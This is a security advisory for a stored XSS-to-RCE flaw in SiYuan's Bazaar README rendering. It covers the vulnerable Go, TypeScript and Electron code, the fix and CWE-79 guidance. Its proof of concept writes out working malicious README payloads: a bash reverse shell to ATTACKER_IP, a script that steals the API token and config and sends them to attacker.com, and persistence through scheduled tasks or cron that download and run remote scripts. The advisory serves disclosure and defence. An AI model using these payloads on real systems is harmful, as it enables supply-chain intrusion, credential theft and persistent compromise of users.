GHSA-4663-4mpg-879v CVE-2026-33066 GO-2026-4743
SiYuan has Stored XSS to RCE via Unsanitized Bazaar README Rendering
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.60%
- Chance of exploitation in the next 30 days. Higher than 48.43% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
0.0.0-20260314111550-b382f50e1880- Upgrade github.com/siyuan-note/siyuan/kernel to this version or later
Description
Stored XSS to RCE via Unsanitized Bazaar README Rendering
Summary
SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend renderREADME function uses lute.New() without calling SetSanitize(true), allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to innerHTML without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution.
Affected Component
- README rendering (backend):
kernel/bazaar/package.go:635-645(renderREADMEfunction) - README rendering (frontend):
app/src/config/bazaar.ts:607(innerHTMLassignment) - Electron config:
app/electron/main.js:422-426(nodeIntegration: true,contextIsolation: false)
Affected Versions
- SiYuan <= 3.5.9
Severity
Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Note: This vector requires one click (user viewing the package README), unlike the metadata vector which is zero-click.
Vulnerable Code
Backend: kernel/bazaar/package.go:635-645
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in Markdown is PRESERVED
return
}
Compare with SiYuan's own note renderer in kernel/util/lute.go:81, which does sanitize:
luteEngine.SetSanitize(true) // Notes ARE sanitized — but Bazaar README is NOT
This inconsistency demonstrates that the project is aware of the Lute sanitization API but failed to apply it to Bazaar content.
Frontend: app/src/config/bazaar.ts:607
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = response.data.html; // Unsanitized HTML injected into DOM
});
The backend returns unsanitized HTML, and the frontend blindly assigns it to innerHTML without any client-side sanitization (e.g., DOMPurify).
Electron: app/electron/main.js:422-426
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}
Any JavaScript executing in the renderer has direct access to Node.js APIs.
Proof of Concept
Step 1: Create a malicious README
Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The README.md contains embedded HTML:
# Helpful Productivity Plugin
This plugin helps you organize your notes with smart templates and AI-powered suggestions.
## Features
- Smart template insertion
- AI-powered note organization
- Cross-platform sync
<img src=x onerror="require('child_process').exec('calc.exe')">
## Installation
Install via the SiYuan Bazaar marketplace.
## License
MIT
The raw <img> tag with onerror handler is valid Markdown (HTML passthrough). The Lute engine preserves it because SetSanitize(true) is not called. The frontend renders it via innerHTML, and the broken image triggers onerror, executing calc.exe.
Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar via the standard community contribution process.
Step 3: One-click RCE
When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The onerror handler fires, executing arbitrary OS commands.
Escalation: Reverse shell
# Cool Theme for SiYuan
Beautiful dark theme with custom fonts.
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')">
Escalation: Multi-stage payload via README
A more sophisticated attack can hide the payload deeper in the README to avoid casual review:
# Professional Note Templates
A comprehensive collection of note templates for professionals.
## Templates Included
| Category | Count | Description |
|----------|-------|-------------|
| Business | 15 | Meeting notes, project plans |
| Academic | 12 | Research notes, citations |
| Personal | 8 | Journal, habit tracking |
## Screenshots
<!-- Legitimate-looking image reference -->
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://attacker.com/dark.png">
<source media="(prefers-color-scheme: light)" srcset="https://attacker.com/light.png">
<img src="https://attacker.com/screenshot.png" alt="Template Preview" onload="
var c = require('child_process');
var o = require('os');
var f = require('fs');
var p = require('path');
// Exfiltrate sensitive data
var home = o.homedir();
var configDir = p.join(home, '.config', 'siyuan');
var data = {};
try { data.apiToken = f.readFileSync(p.join(configDir, 'cookie.key'), 'utf8'); } catch(e) {}
try { data.conf = JSON.parse(f.readFileSync(p.join(configDir, 'conf.json'), 'utf8')); } catch(e) {}
try { data.hostname = o.hostname(); data.user = o.userInfo().username; data.platform = o.platform(); } catch(e) {}
// Send to attacker
var https = require('https');
var payload = JSON.stringify(data);
var req = https.request({
hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
});
req.write(payload);
req.end();
// Drop persistence
if (o.platform() === 'win32') {
c.exec('schtasks /create /tn SiYuanSync /tr \"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(\\\"https://attacker.com/stage2.ps1\\\"))\" /sc onlogon /rl highest /f');
} else {
c.exec('(crontab -l 2>/dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -');
}
">
</picture>
## Changelog
- v1.0.0: Initial release
This payload:
- Uses
onloadinstead ofonerror(fires on successful image load from attacker's server) - Exfiltrates SiYuan API token, config, hostname, username, and platform info
- Installs cross-platform persistence (Windows scheduled task / Linux crontab)
- Is buried inside a legitimate-looking
<picture>element that blends with real README content
Escalation: SVG-based payload (bypasses naive img filtering)
## Architecture
<svg onload="require('child_process').exec('id > /tmp/pwned')">
<rect width="100" height="100" fill="blue"/>
</svg>
Escalation: Details/summary element (interactive trigger)
## FAQ
<details ontoggle="require('child_process').exec('whoami > /tmp/pwned')" open>
<summary>How do I install this plugin?</summary>
Use the SiYuan Bazaar to install.
</details>
The open attribute causes ontoggle to fire immediately without user interaction with the element itself.
Attack Scenario
- Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
- The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a
<picture>tag,<details>block, or<svg>). - Attacker submits the package to the SiYuan Bazaar via the community contribution process.
- A SiYuan user browses the Bazaar and clicks on the package to view its details/README.
- The backend renders the README via
renderREADME()without sanitization. - The frontend assigns the HTML to
innerHTML. - The injected JavaScript executes with full Node.js access.
- The attacker achieves RCE — reverse shell, data theft, persistence, etc.
Impact
- Full remote code execution on any SiYuan desktop user who views the malicious package README
- One-click — triggered by viewing package details in the Bazaar
- Supply-chain attack via the official SiYuan community marketplace
- Payloads can be deeply hidden in legitimate-looking README content, making code review difficult
- Can steal API tokens, SiYuan configuration, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors across Windows, macOS, and Linux
- Multiple HTML elements can carry payloads (
img,svg,details,picture,video,audio,iframe,object,embed,math, etc.) - Affects all platforms: Windows, macOS, Linux
Suggested Fix
1. Enable Lute sanitization for README rendering (package.go)
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New()
luteEngine.SetSanitize(true) // ADD THIS — matches note renderer behavior
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData))
return
}
2. Add client-side sanitization as defense-in-depth (bazaar.ts)
import DOMPurify from 'dompurify';
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = DOMPurify.sanitize(response.data.html);
});
3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | < 0.0.0-20260314111550-b382f50e1880 |
0.0.0-20260314111550-b382f50e1880 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/siyuan-note/siyuan/kernel Go → 0.0.0-20260314111550-b382f50e1880
- go
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260314111550-b382f50e1880 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- Low
- Integrity (subsequent systems)
- Low
- Availability (subsequent systems)
- None
CVSS 3.1 9.0
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-8q5w-mmxf-48jg SiYuan has incomplete fix for CVE-2026-33066: XSS | Medium | Linked by the source |
| GHSA-xp3q-r38w-vgqm SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-9cqf-hhrq-7v45 SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-57v5-wqx3-cgj4 SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-4wwp-f6gw-6qm5 SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-3cm4-ccvw-6xr6 SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/* | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-x8gv-g2g3-65fj SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-p23f-cm6q-2qp8 SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass) | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor